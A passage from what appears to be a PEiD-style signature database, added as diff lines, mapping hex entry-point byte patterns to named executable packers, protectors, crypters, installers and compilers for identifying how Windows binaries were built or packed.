EB 02 CD 20 2B C8 68 80 ?? ?? 00 EB 02 1E BB 5E EB 02 CD 20 68 B1 2B 6E 37 40 5B 0F B6 C9 +ep_only = true + +[FSG v1.10 (Eng) -> dulek/xt -> (Borland C++)] +signature = 23 CA EB 02 5A 0D E8 02 00 00 00 6A 35 58 C1 C9 10 BE 80 ?? ?? 00 0F B6 C9 EB 02 CD 20 BB +ep_only = true + +[FSG v1.10 (Eng) -> dulek/xt -> (Borland Delphi / Borland C++)] +signature = EB 01 2E EB 02 A5 55 BB 80 ?? ?? 00 87 FE 8D 05 AA CE E0 63 EB 01 75 BA 5E CE E0 63 EB 02 +ep_only = true + +[FSG v1.10 (Eng) -> dulek/xt -> (Borland Delphi / Borland C++)] +signature = 2B C2 E8 02 00 00 00 95 4A 59 8D 3D 52 F1 2A E8 C1 C8 1C BE 2E ?? ?? 18 EB 02 AB A0 03 F7 +ep_only = true + +[FSG v1.10 (Eng) -> dulek/xt -> (Borland Delphi / Microsoft Visual C++ / ASM)] +signature = EB 02 CD 20 EB 02 CD 20 EB 02 CD 20 C1 E6 18 BB 80 ?? ?? 00 EB 02 82 B8 EB 01 10 8D 05 F4 +ep_only = true + +[FSG v1.10 (Eng) -> dulek/xt -> (Borland Delphi / Microsoft Visual C++)] +signature = C1 C8 10 EB 01 0F BF 03 74 66 77 C1 E9 1D 68 83 ?? ?? 77 EB 02 CD 20 5E EB 02 CD 20 2B F7 +ep_only = true + +[FSG v1.10 (Eng) -> dulek/xt -> (Borland Delphi / Microsoft Visual C++)x] +signature = 1B DB E8 02 00 00 00 1A 0D 5B 68 80 ?? ?? 00 E8 01 00 00 00 EA 5A 58 EB 02 CD 20 68 F4 00 +ep_only = true + +[FSG v1.10 (Eng) -> dulek/xt -> (Borland Delphi 2.0)] +signature = EB 01 56 E8 02 00 00 00 B2 D9 59 68 80 ?? 41 00 E8 02 00 00 00 65 32 59 5E EB 02 CD 20 BB +ep_only = true + +[FSG v1.10 (Eng) -> dulek/xt -> (MASM32 / TASM32 / Microsoft Visual Basic)] +signature = F7 D8 0F BE C2 BE 80 ?? ?? 00 0F BE C9 BF 08 3B 65 07 EB 02 D8 29 BB EC C5 9A F8 EB 01 94 +ep_only = true + +[FSG v1.10 (Eng) -> dulek/xt -> (MASM32 / TASM32)] +signature = 03 F7 23 FE 33 FB EB 02 CD 20 BB 80 ?? 40 00 EB 01 86 EB 01 90 B8 F4 00 00 00 83 EE 05 2B +ep_only = true + +[FSG v1.10 (Eng) -> dulek/xt -> (MASM32)] +signature = EB 01 DB E8 02 00 00 00 86 43 5E 8D 1D D0 75 CF 83 C1 EE 1D 68 50 ?? 8F 83 EB 02 3D 0F 5A +ep_only = true + +[FSG v1.10 (Eng) -> dulek/xt -> (Microsoft Visual Basic / MASM32)] +signature = EB 02 09 94 0F B7 FF 68 80 ?? ?? 00 81 F6 8E 00 00 00 5B EB 02 11 C2 8D 05 F4 00 00 00 47 +ep_only = true + +[FSG v1.10 (Eng) -> dulek/xt -> (Microsoft Visual Basic 5.0 / 6.0)] +signature = C1 CB 10 EB 01 0F B9 03 74 F6 EE 0F B6 D3 8D 05 83 ?? ?? EF 80 F3 F6 2B C1 EB 01 DE 68 77 +ep_only = true + +[FSG v1.10 (Eng) -> dulek/xt -> (Microsoft Visual C++ 4.x / LCC Win32 1.x)] +signature = 2C 71 1B CA EB 01 2A EB 01 65 8D 35 80 ?? ?? 00 80 C9 84 80 C9 68 BB F4 00 00 00 EB 01 EB +ep_only = true + +[FSG v1.10 (Eng) -> dulek/xt -> (Microsoft Visual C++ 5.0 / 6.0)] +signature = 33 D2 0F BE D2 EB 01 C7 EB 01 D8 8D 05 80 ?? ?? ?? EB 02 CD 20 EB 01 F8 BE F4 00 00 00 EB +ep_only = true + +[FSG v1.10 (Eng) -> dulek/xt -> (Microsoft Visual C++ 6.0 / 7.0 / ASM)] +signature = E8 01 00 00 00 5A 5E E8 02 00 00 00 BA DD 5E 03 F2 EB 01 64 BB 80 ?? ?? 00 8B FA EB 01 A8 +ep_only = true + +[FSG v1.10 (Eng) -> dulek/xt -> (Microsoft Visual C++ 6.0 / 7.0)] +signature = 0B D0 8B DA E8 02 00 00 00 40 A0 5A EB 01 9D B8 80 ?? ?? ?? EB 02 CD 20 03 D3 8D 35 F4 00 +ep_only = true + +[FSG v1.10 (Eng) -> dulek/xt -> (Microsoft Visual C++ 6.0 / 7.0)] +signature = F7 D8 40 49 EB 02 E0 0A 8D 35 80 ?? ?? ?? 0F B6 C2 EB 01 9C 8D 1D F4 00 00 00 EB 01 3C 80 +ep_only = true + +[FSG v1.10 (Eng) -> dulek/xt -> (Microsoft Visual C++ 6.0 / 7.0)] +signature = 87 FE E8 02 00 00 00 98 CC 5F BB 80 ?? ?? 00 EB 02 CD 20 68 F4 00 00 00 E8 01 00 00 00 E3 +ep_only = true + +[FSG v1.10 (Eng) -> dulek/xt -> (Microsoft Visual C++ 6.0 / 7.0)] +signature = F7 DB 80 EA BF B9 2F 40 67 BA EB 01 01 68 AF ?? A7 BA 80 EA 9D 58 C1 C2 09 2B C1 8B D7 68 +ep_only = true + +[FSG v1.10 (Eng) -> dulek/xt -> (Microsoft Visual C++ 6.0 / ASM)] +signature = F7 D0 EB 02 CD 20 BE BB 74 1C FB EB 02 CD 20 BF 3B ?? ?? FB C1 C1 03 33 F7 EB 02 CD 20 68 +ep_only = true + +[FSG v1.10 (Eng) -> dulek/xt -> (Microsoft Visual C++ 6.0)] +signature = F7 DB 80 EA BF B9 2F 40 67 BA EB 01 01 68 AF ?? ?? BA 80 EA 9D 58 C1 C2 09 2B C1 8B D7 68 +ep_only = true + +[FSG v1.10 (Eng) -> dulek/xt -> (Microsoft Visual C++ 6.0)] +signature = 91 EB 02 CD 20 BF 50 BC 04 6F 91 BE D0 ?? ?? 6F EB 02 CD 20 2B F7 EB 02 F0 46 8D 1D F4 00 +ep_only = true + +[FSG v1.10 (Eng) -> dulek/xt -> (Microsoft Visual C++ 6.0)] +signature = 03 DE EB 01 F8 B8 80 ?? 42 00 EB 02 CD 20 68 17 A0 B3 AB EB 01 E8 59 0F B6 DB 68 0B A1 B3 +ep_only = true + +[FSG v1.10 (Eng) -> dulek/xt -> (Microsoft Visual C++ 6.0)] +signature = E8 01 00 00 00 0E 59 E8 01 00 00 00 58 58 BE 80 ?? ?? 00 EB 02 61 E9 68 F4 00 00 00 C1 C8 +ep_only = true + +[FSG v1.10 (Eng) -> dulek/xt -> (Microsoft Visual C++ 6.0)] +signature = EB 02 AB 35 EB 02 B5 C6 8D 05 80 ?? ?? 00 C1 C2 11 BE F4 00 00 00 F7 DB F7 DB 0F BE 38 E8 +ep_only = true + +[FSG v1.10 (Eng) -> dulek/xt -> (Microsoft Visual C++ 6.0)] +signature = D1 E9 03 C0 68 80 ?? ?? 00 EB 02 CD 20 5E 40 BB F4 00 00 00 33 CA 2B C7 0F B6 16 EB 01 3E +ep_only = true + +[FSG v1.10 (Eng) -> dulek/xt -> (Microsoft Visual C++ 6.0)] +signature = C1 CE 10 C1 F6 0F 68 00 ?? ?? 00 2B FA 5B 23 F9 8D 15 80 ?? ?? 00 E8 01 00 00 00 B6 5E 0B +ep_only = true + +[FSG v1.10 (Eng) -> dulek/xt -> (Microsoft Visual C++ 6.0)] +signature = EB 01 4D 83 F6 4C 68 80 ?? ?? 00 EB 02 CD 20 5B EB 01 23 68 48 1C 2B 3A E8 02 00 00 00 38 +ep_only = true + +[FSG v1.33 (Eng) -> dulek/xt] +signature = BE A4 01 40 00 AD 93 AD 97 AD 56 96 B2 80 A4 B6 80 FF 13 73 F9 33 C9 FF 13 73 16 33 C0 FF +ep_only = true + +[FSG v2.0] +signature = 87 25 ?? ?? ?? ?? 61 94 55 A4 B6 80 FF 13 73 F9 33 C9 FF 13 73 16 33 C0 FF 13 73 1F B6 80 41 B0 10 FF 13 12 C0 73 FA 75 +ep_only = false + +[Fusion 1.0 -> jaNooNi] +signature = 68 04 30 40 00 68 04 30 40 00 E8 09 03 00 00 68 04 30 40 00 E8 C7 02 00 00 +ep_only = true + +[GHF Protector (pack only) -> GPcH] +signature = 60 68 ?? ?? ?? ?? B8 ?? ?? ?? ?? FF 10 68 ?? ?? ?? ?? 50 B8 ?? ?? ?? ?? FF 10 68 00 00 00 00 6A 40 FF D0 89 05 ?? ?? ?? ?? 89 C7 BE ?? ?? ?? ?? 60 FC B2 80 31 DB A4 B3 02 E8 6D 00 00 00 73 F6 31 C9 E8 64 00 00 00 73 1C 31 C0 E8 5B 00 00 00 73 23 B3 02 41 +ep_only = false + +[GHF Protector / GPcH] +signature = 60 68 ?? ?? ?? ?? B8 ?? ?? ?? ?? FF 10 68 ?? ?? ?? ?? 50 B8 ?? ?? ?? ?? FF 10 68 00 A0 00 00 6A 40 FF D0 89 05 ?? ?? ?? ?? 89 C7 BE ?? ?? ?? ?? 60 FC B2 80 31 DB A4 B3 02 E8 6D 00 00 00 73 F6 +ep_only = true + +[HACKSTOP v1.10, v1.11] +signature = B4 30 CD 21 86 E0 3D ?? ?? 73 ?? B4 2F CD 21 B0 ?? B4 4C CD 21 50 B8 ?? ?? 58 EB +ep_only = true + +[HACKSTOP v1.11c] +signature = B4 30 CD 21 86 E0 3D ?? ?? 73 ?? B4 ?? CD 21 B0 ?? B4 4C CD 21 53 BB ?? ?? 5B EB +ep_only = true + +[HACKSTOP v1.13] +signature = 52 B8 ?? ?? 1E CD 21 86 E0 3D ?? ?? 73 ?? CD 20 0E 1F B4 09 E8 ?? ?? 24 ?? EA +ep_only = true + +[HASP HL Protection V1.X -> Aladdin] +signature = 55 8B EC 53 56 57 60 8B C4 A3 ?? ?? ?? ?? B8 ?? ?? ?? ?? 2B 05 ?? ?? ?? ?? A3 ?? ?? ?? ?? 83 3D ?? ?? ?? ?? 00 74 15 8B 0D ?? ?? ?? ?? 51 FF 15 ?? ?? ?? ?? 83 C4 04 E9 A5 00 00 00 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? A3 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 15 +ep_only = true + +[HPA] +signature = E8 ?? ?? 5E 8B D6 83 ?? ?? 83 ?? ?? 06 0E 1E 0E 1F 33 FF 8C D3 +ep_only = true + +[Hying's PE-Armor 0.75.exe -> Hying [CCG] (h)] +signature = 00 00 00 00 00 00 00 00 ?? ?? 00 00 00 00 00 00 ?? ?? 01 00 00 00 00 00 00 00 00 00 56 69 72 74 75 61 6C 41 6C 6C 6F 63 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 74 ?? ?? ?? 00 00 00 00 00 +ep_only = false + +[hying's PEArmor V0.76 -> hying] +signature = E9 00 00 00 00 60 E8 14 00 00 00 5D 81 ED 00 00 00 00 6A ?? E8 A3 00 00 00 +ep_only = true + +[IMP-Packer 1.0 -> Mahdi Hezavehi [IMPOSTER] (h)] +signature = 28 ?? ?? ?? 00 00 00 00 00 00 00 00 40 ?? ?? ?? 34 ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4C ?? ?? ?? 5C ?? ?? ?? 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 4B 45 52 4E 45 4C 33 32 2E 64 6C 6C 00 00 47 65 74 50 72 6F 63 +ep_only = false + +[IMPostor Pack 1.0 -> Mahdi Hezavehi] +signature = BE ?? ?? ?? 00 83 C6 01 FF E6 00 00 00 00 ?? ?? 00 00 00 00 00 00 00 00 00 ?? ?? ?? 00 ?? 02 ?? ?? 00 10 00 00 00 02 00 +ep_only = true + +[Inno Setup Module] +signature = 49 6E 6E 6F 53 65 74 75 70 4C 64 72 57 69 6E 64 6F 77 00 00 53 54 41 54 49 43 +ep_only = true + +[Inno Setup Module v2.0.18] +signature = 55 8B EC 83 C4 B8 53 56 57 33 C0 89 45 F0 89 45 BC 89 45 B8 E8 73 71 FF FF E8 DA 85 FF FF E8 81 A7 FF FF E8 C8 +ep_only = false + +[Inno Setup Module v3.0.4-beta/v3.0.6/v3.0.7] +signature = 55 8B EC 83 C4 B8 53 56 57 33 C0 89 45 F0 89 45 BC 89 45 B8 E8 B3 70 FF FF E8 1A 85 FF FF E8 25 A7 FF FF E8 6C +ep_only = false + +[iPB Protect 0.1.3 - 0.1.7 -> forgot] +signature = 55 8B EC 6A FF 68 4B 43 55 46 68 54 49 48 53 64 A1 00 00 00 00 +ep_only = true + +[JAM v2.11] +signature = 50 06 16 07 BE ?? ?? 8B FE B9 ?? ?? FD FA F3 2E A5 FB 06 BD ?? ?? 55 CB +ep_only = true + +[JDPack 2.x -> JDPack] +signature = 55 8B EC 6A FF 68 68 51 40 00 68 04 25 40 00 64 A1 00 00 00 00 +ep_only = true + +[Krypton v0.3] +signature = 8B 0C 24 E9 C0 8D 01 ?? C1 3A 6E CA 5D 7E 79 6D B3 64 5A 71 EA +ep_only = true + +[Krypton v0.4] +signature = 54 E8 ?? ?? ?? ?? 5D 8B C5 81 ED 61 34 ?? ?? 2B 85 60 37 ?? ?? 83 E8 06 +ep_only = true + +[Krypton v0.5] +signature = 54 E8 ?? ?? ?? ?? 5D 8B C5 81 ED 71 44 ?? ?? 2B 85 64 60 ?? ?? EB 43 DF +ep_only = true + +[kryptor 9] +signature = 60 E8 ?? ?? ?? ?? 5E B9 ?? ?? ?? ?? 2B C0 02 04 0E D3 C0 49 79 F8 41 8D 7E 2C 33 46 ?? 66 B9 +ep_only = true + +[LameCrypt v1.0] +signature = 60 66 9C BB ?? ?? ?? ?? 80 B3 00 10 40 00 90 4B 83 FB FF 75 F3 66 9D 61 +ep_only = true + +[LCC Win32 DLL] +signature = 55 89 E5 53 56 57 83 7D 0C 01 75 05 E8 17 ?? ?? ?? FF 75 10 FF 75 0C FF 75 08 A1 +ep_only = true + +[LTC v1.3] +signature = 54 E8 00 00 00 00 5D 8B C5 81 ED F6 73 40 00 2B 85 87 75 40 00 83 E8 06 +ep_only = true + +[MASM32] +signature = 6A ?? 68 00 30 40 00 68 ?? 30 40 00 6A 00 E8 07 00 00 00 6A 00 E8 06 00 00 00 FF 25 08 20 +ep_only = true + +[Metrowerks CodeWarrior v2.0 (GUI)] +signature = 55 89 E5 53 56 83 EC 44 55 B8 FF FF FF FF 50 50 68 ?? ?? 40 00 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 68 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? 00 00 E8 ?? ?? 00 00 E8 +ep_only = false + +[Mew 11 SE v1.2 (Eng) -> Northfox] +signature = E9 ?? ?? ?? FF 0C ?? ?? 00 00 00 00 00 00 00 00 00 ?? ?? ?? 00 0C +ep_only = true + +[MicroJoiner 1.7 -> coban2k] +signature = BF 00 10 40 00 8D 5F 21 6A 0A 58 6A 04 59 60 57 E8 8E 00 00 00 +ep_only = true + +[Microsoft C (1990/1992)] +signature = B4 30 CD 21 3C 02 73 ?? 33 C0 06 50 CB BF ?? ?? 8B 36 ?? ?? 2B F7 81 FE ?? ?? 72 ?? BE ?? ?? FA 8E D7 +ep_only = true + +[Microsoft C++ (1990/1992)] +signature = B8 00 30 CD 21 3C 03 73 ?? 0E 1F BA ?? ?? B4 09 CD 21 06 33 C0 50 CB +ep_only = true + +[Microsoft Visual Basic v5.0] +signature = ?? ?? ?? ?? ?? ?? ?? FF FF FF 00 00 00 00 00 00 30 00 00 00 40 00 00 00 00 00 00 +ep_only = true + +[Microsoft Visual C++] +signature = 55 8B EC 6A FF 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 +ep_only = true + +[Microsoft Visual C++ 6.0 DLL] +signature = 55 8B EC 53 8B 5D 08 56 8B 75 0C 57 8B 7D 10 85 F6 75 09 83 3D ?? ?? ?? ?? ?? EB 26 83 FE 01 74 05 83 FE 02 75 22 A1 ?? ?? ?? ?? 85 C0 74 09 57 56 53 FF D0 85 C0 74 0C 57 56 53 E8 15 FF FF FF 85 C0 75 04 33 C0 EB 4E +ep_only = false + +[Microsoft Visual C++ 8.0] +signature = 6A 14 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? BB 94 00 00 00 53 6A 00 8B ?? ?? ?? ?? ?? FF D7 50 FF ?? ?? ?? ?? ?? 8B F0 85 F6 75 0A 6A 12 E8 ?? ?? ?? ?? 59 EB 18 89 1E 56 FF ?? ?? ?? ?? ?? 56 85 C0 75 14 50 FF D7 50 FF ?? ?? ?? ?? ?? B8 +ep_only = true + +[Microsoft Visual C++ 8.0 [Debug]] +signature = E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 +ep_only = true + +[Microsoft Visual C++ ?.?] +signature = 83 ?? ?? 6A 00 FF 15 F8 10 0B B0 8D ?? ?? ?? 51 6A 08 6A 00 6A 00 68 +ep_only = true + +[Microsoft Visual C++ DLL] +signature = 53 B8 01 00 00 00 8B 5C 24 0C 56 57 85 DB 55 75 12 83 3D ?? ?? ?? ?? ?? 75 09 33 C0 +ep_only = true + +[Microsoft Visual C++ v4.x] +signature = 64 A1 00 00 00 00 55 8B EC 6A FF 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 64 89 25 00 00 00 00 83 EC ?? 53 56 57 +ep_only = true + +[Microsoft Visual C++ v5.0] +signature = 55 8B EC 6A FF 68 68 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 53 56 57 +ep_only = true + +[Microsoft Visual C++ v5.0/v6.0 (MFC)] +signature = 55 8B EC 6A FF 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 64 A1 00 00 00 00 50 +ep_only = true + +[Microsoft Visual C++ v6.0] +signature = 55 8B EC 83 EC 50 53 56 57 BE ?? ?? ?? ?? 8D 7D F4 A5 A5 66 A5 8B +ep_only = true + +[Microsoft Visual C++ v6.0 (Debug Version)] +signature = 55 8B EC 51 ?? ?? ?? 01 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 +ep_only = true + +[Microsoft Visual C++ v6.0 DLL] +signature = 83 7C 24 08 01 75 09 8B 44 24 04 A3 ?? ?? 00 10 E8 8B FF FF FF +ep_only = true + +[Microsoft Visual C++ v7.0] +signature = 6A ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? BF ?? ?? ?? ?? 8B C7 E8 ?? ?? ?? ?? 89 65 ?? 8B F4 89 3E 56 FF 15 ?? ?? ?? ?? 8B 4E ?? 89 0D ?? ?? ?? ?? 8B 46 ?? A3 +ep_only = true + +[Microsoft Visual C++ v7.1 DLL] +signature = 83 7C 24 08 01 75 ?? ?? ?? 24 04 50 A3 ?? ?? ?? 50 FF 15 00 10 ?? 50 33 C0 40 C2 0C 00 +ep_only = true + +[Microsoft Visual C++ v7.1 EXE] +signature = 6A ?? 68 ?? ?? ?? 01 E8 ?? ?? 00 00 66 81 3D 00 00 00 01 4D 5A 75 ?? A1 3C 00 00 01 ?? ?? 00 00 00 01 +ep_only = true + +[Microsoft Visual C++ vx.x] +signature = 55 8B EC ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 04 +ep_only = true + +[Microsoft Visual C++ vx.x DLL] +signature = ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 ?? ?? ?? ?? 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 ?? ?? ?? 00 00 ?? ?? ?? 00 00 ?? ?? ?? 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 68 +ep_only = true + +[MingWin32 - Dev C++ v4.x (h)] +signature = 55 89 E5 83 EC ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 55 89 E5 83 EC ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 55 ?? ?? ?? ?? ?? ?? ?? ?? ?? FF ?? ?? ?? ?? 00 +ep_only = true + +[MingWin32 GCC 3.x] +signature = 55 89 E5 83 EC 08 C7 04 24 ?? 00 00 00 FF 15 ?? ?? 40 00 E8 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 55 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 +ep_only = true + +[modified HACKSTOP v1.11f] +signature = 52 B4 30 CD 21 52 FA ?? FB 3D ?? ?? EB ?? CD 20 0E 1F B4 09 E8 +ep_only = true + +[MS Run-Time Library 1988 (04)] +signature = 1E B8 ?? ?? 8E D8 B4 30 CD 21 3C 02 73 ?? BA ?? ?? E8 ?? ?? 06 33 C0 50 CB +ep_only = true + +[MS Run-Time Library 1992 (11)] +signature = B4 51 CD 21 8E DB B8 ?? ?? 83 E8 ?? 8E C0 33 F6 33 FF B9 ?? ?? FC F3 A5 +ep_only = true + +[Nakedbind 1.0 -> nakedcrew] +signature = 64 8B 38 48 8B C8 F2 AF AF 8B 1F 66 33 DB 66 81 3B 4D 5A 74 08 81 EB 00 00 +ep_only = true + +[Name of the Packer v1.0] +signature = 50 E8 ?? ?? ?? ?? 58 25 ?? F0 FF FF 8B C8 83 C1 60 51 83 C0 40 83 EA 06 52 FF 20 9D C3 +ep_only = true + +[nBinder v3.6.1] +signature = 6E 35 36 34 35 36 35 33 32 33 34 35 34 33 5F 6E 62 33 5C 00 5C 6E 35 36 34 35 36 35 33 32 33 34 35 34 33 5F 6E 62 33 5C +ep_only = false + +[NoodleCrypt v2.0] +signature = EB 01 9A E8 3D 00 00 00 EB 01 9A E8 EB 01 00 00 EB 01 9A E8 2C 04 00 00 EB 01 +ep_only = true + +[North Star PE Shrinker 1.3 -> Liuxingping] +signature = 9C 60 E8 00 00 00 00 5D B8 B3 85 40 00 2D AC 85 40 00 2B E8 8D B5 +ep_only = true + +[NsPack 1.4 by North Star (Liu Xing Ping)] +signature = 8B DF 83 3F 00 75 0A 83 C7 04 B9 00 00 00 00 EB 16 B9 01 00 00 00 03 3B 83 C3 04 83 3B 00 74 2D 01 13 8B 33 03 7B 04 57 51 52 53 +ep_only = false + +[NSPack 3.x -> Liu Xing Ping] +signature = 9C 60 E8 00 00 00 00 5D 83 ED 07 8D 85 ?? ?? FF FF ?? 38 01 0F 84 ?? 02 00 00 ?? 00 01 +ep_only = true + +[NsPack v2.3 -> North Star (h)] +signature = 9C 60 E8 00 00 00 00 5D B8 07 00 00 00 2B E8 8D B5 ?? ?? FF FF 8B 06 83 F8 00 74 11 8D B5 ?? ?? FF FF 8B 06 83 F8 01 0F 84 4B 02 00 00 C7 06 01 00 00 00 8B D5 8B 85 ?? ?? FF FF 2B D0 89 95 ?? ?? FF FF 01 95 ?? ?? FF FF 8D B5 ?? ?? FF FF 01 16 8B 36 8B FD +ep_only = false + +[NsPacK V3.0 -> LiuXingPing] +signature = 9C 60 E8 00 00 00 00 5D B8 07 00 00 00 2B E8 8D B5 ?? ?? ?? ?? 66 8B 06 66 83 F8 00 74 +ep_only = true + +[NsPacK V3.1 -> LiuXingPing] +signature = 9C 60 E8 00 00 00 00 5D 83 ED 07 8D 9D ?? ?? ?? ?? 8A 03 3C 00 74 +ep_only = true + +[NsPacK V3.3 -> LiuXingPing] +signature = 9C 60 E8 00 00 00 00 5D 83 ED 07 8D 85 ?? ?? ?? ?? 80 38 00 74 +ep_only = true + +[NsPacK V3.4-V3.5 -> LiuXingPing] +signature = 9C 60 E8 00 00 00 00 5D 83 ED 07 8D 85 ?? ?? ?? ?? 80 38 01 0F 84 +ep_only = true + +[NsPacK V3.6 -> LiuXingPing] +signature = 9C 60 E8 00 00 00 00 5D 83 ED 07 8D ?? ?? ?? ?? ?? 83 38 01 0F 84 47 02 00 00 +ep_only = true + +[NsPacK V3.7 -> LiuXingPing] +signature = 9C 60 E8 00 00 00 00 5D 83 ED 07 8D ?? ?? ?? ?? ?? 80 39 01 0F ?? ?? ?? 00 00 +ep_only = true + +[Nullsoft PIMP Install System v1.3x] +signature = 55 8B EC 81 EC ?? ?? 00 00 56 57 6A ?? BE ?? ?? ?? ?? 59 8D BD +ep_only = true + +[Nullsoft PiMP Install System v1.x] +signature = 83 EC 0C 53 56 57 FF 15 ?? ?? 40 00 05 E8 03 00 00 BE ?? ?? ?? 00 89 44 24 10 B3 20 FF 15 28 ?? 40 00 68 00 04 00 00 FF 15 ?? ?? 40 00 50 56 FF 15 ?? ?? 40 00 80 3D ?? ?? ?? 00 22 75 08 80 C3 02 BE ?? ?? ?? 00 8A 06 8B 3D ?? ?? 40 00 84 C0 74 ?? 3A C3 74 +ep_only = false + +[Pack Master v1.0] +signature = 60 E8 01 ?? ?? ?? E8 83 C4 04 E8 01 ?? ?? ?? E9 5D 81 ED D3 22 40 ?? E8 04 02 ?? ?? E8 EB 08 EB 02 CD 20 FF 24 24 9A 66 BE 47 46 +ep_only = true + +[Packman 0.0.0.1 -> bubba] +signature = 60 E8 00 00 00 00 58 8D A8 ?? FE FF FF 8D 98 ?? ?? ?? FF 8D ?? ?? 01 00 00 +ep_only = true + +[Packman v0.0.0.1] +signature = 60 E8 00 00 00 00 58 8D A8 ?? ?? FF FF 8D 98 ?? ?? ?? FF 8D ?? ?? 01 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 +ep_only = true + +[Packman V1.0 -> Brandon LaCombe] +signature = 60 E8 00 00 00 00 5B 8D 5B C6 01 1B 8B 13 8D 73 14 6A 08 59 01 16 AD 49 75 FA +ep_only = true + +[PACKWIN v1.01p] +signature = 8C C0 FA 8E D0 BC ?? ?? FB 06 0E 1F 2E ?? ?? ?? ?? 8B F1 4E 8B FE 8C DB 2E ?? ?? ?? ?? 8E C3 FD F3 A4 53 B8 ?? ?? 50 CB +ep_only = true + +[PassLock 2000 v1.0 (Eng) -> Moonlight-Software] +signature = 55 8B EC 53 56 57 BB 00 50 40 00 66 2E F7 05 34 20 40 00 04 00 0F 85 98 00 00 00 E8 1F 01 +ep_only = true + +[Password Protector (c) MiniSoft 1992] +signature = 06 0E 0E 07 1F E8 00 00 5B 83 EB 08 BA 27 01 03 D3 E8 3C 02 BA EA +ep_only = true + +[PC Shrinker v0.71] +signature = 9C 60 BD ?? ?? ?? ?? 01 AD 54 3A 40 ?? FF B5 50 3A 40 ?? 6A 40 FF 95 88 3A 40 ?? 50 50 2D ?? ?? ?? ?? 89 85 +ep_only = true + +[PC-Guard v3.03d, v3.05d] +signature = 55 50 E8 ?? ?? ?? ?? 5D EB 01 E3 60 E8 03 ?? ?? ?? D2 EB 0B 58 EB 01 48 40 EB 01 +ep_only = true + +[PE Crypt 1.5 -> BitShape Software] +signature = 60 E8 00 00 00 00 5D 81 ED 55 20 40 00 B9 7B 09 00 00 8D BD 9D 20 40 00 8B F7 AC ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? AA E2 CC +ep_only = true + +[PE Diminisher v0.1] +signature = 5D 8B D5 81 ED A2 30 40 ?? 2B 95 91 33 40 ?? 81 EA 0B ?? ?? ?? 89 95 9A 33 40 ?? 80 BD 99 +ep_only = true + +[PE Intro v1.0] +signature = 8B 04 24 9C 60 E8 ?? ?? ?? ?? 5D 81 ED 0A 45 40 ?? 80 BD 67 44 40 ?? ?? 0F 85 48 +ep_only = true + +[PE Password v0.2 SMT/SMF] +signature = E8 04 ?? ?? ?? 8B EC 5D C3 33 C0 5D 8B FD 81 ED 33 26 40 ?? 81 EF ?? ?? ?? ?? 83 EF 05 89 AD 88 27 40 ?? 8D 9D 07 29 40 ?? 8D B5 62 28 40 ?? 46 80 +ep_only = true + +[PE Protect v0.9] +signature = 52 51 55 57 64 67 A1 30 00 85 C0 78 0D E8 ?? ?? ?? ?? 58 83 C0 07 C6 ?? C3 +ep_only = true + +[PEBundle v0.2 - v2.0x] +signature = 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB ?? ?? 40 ?? 87 DD 6A 04 68 ?? 10 ?? ?? 68 ?? 02 ?? ?? 6A ?? FF 95 +ep_only = true + +[PEBundle v2.0b5 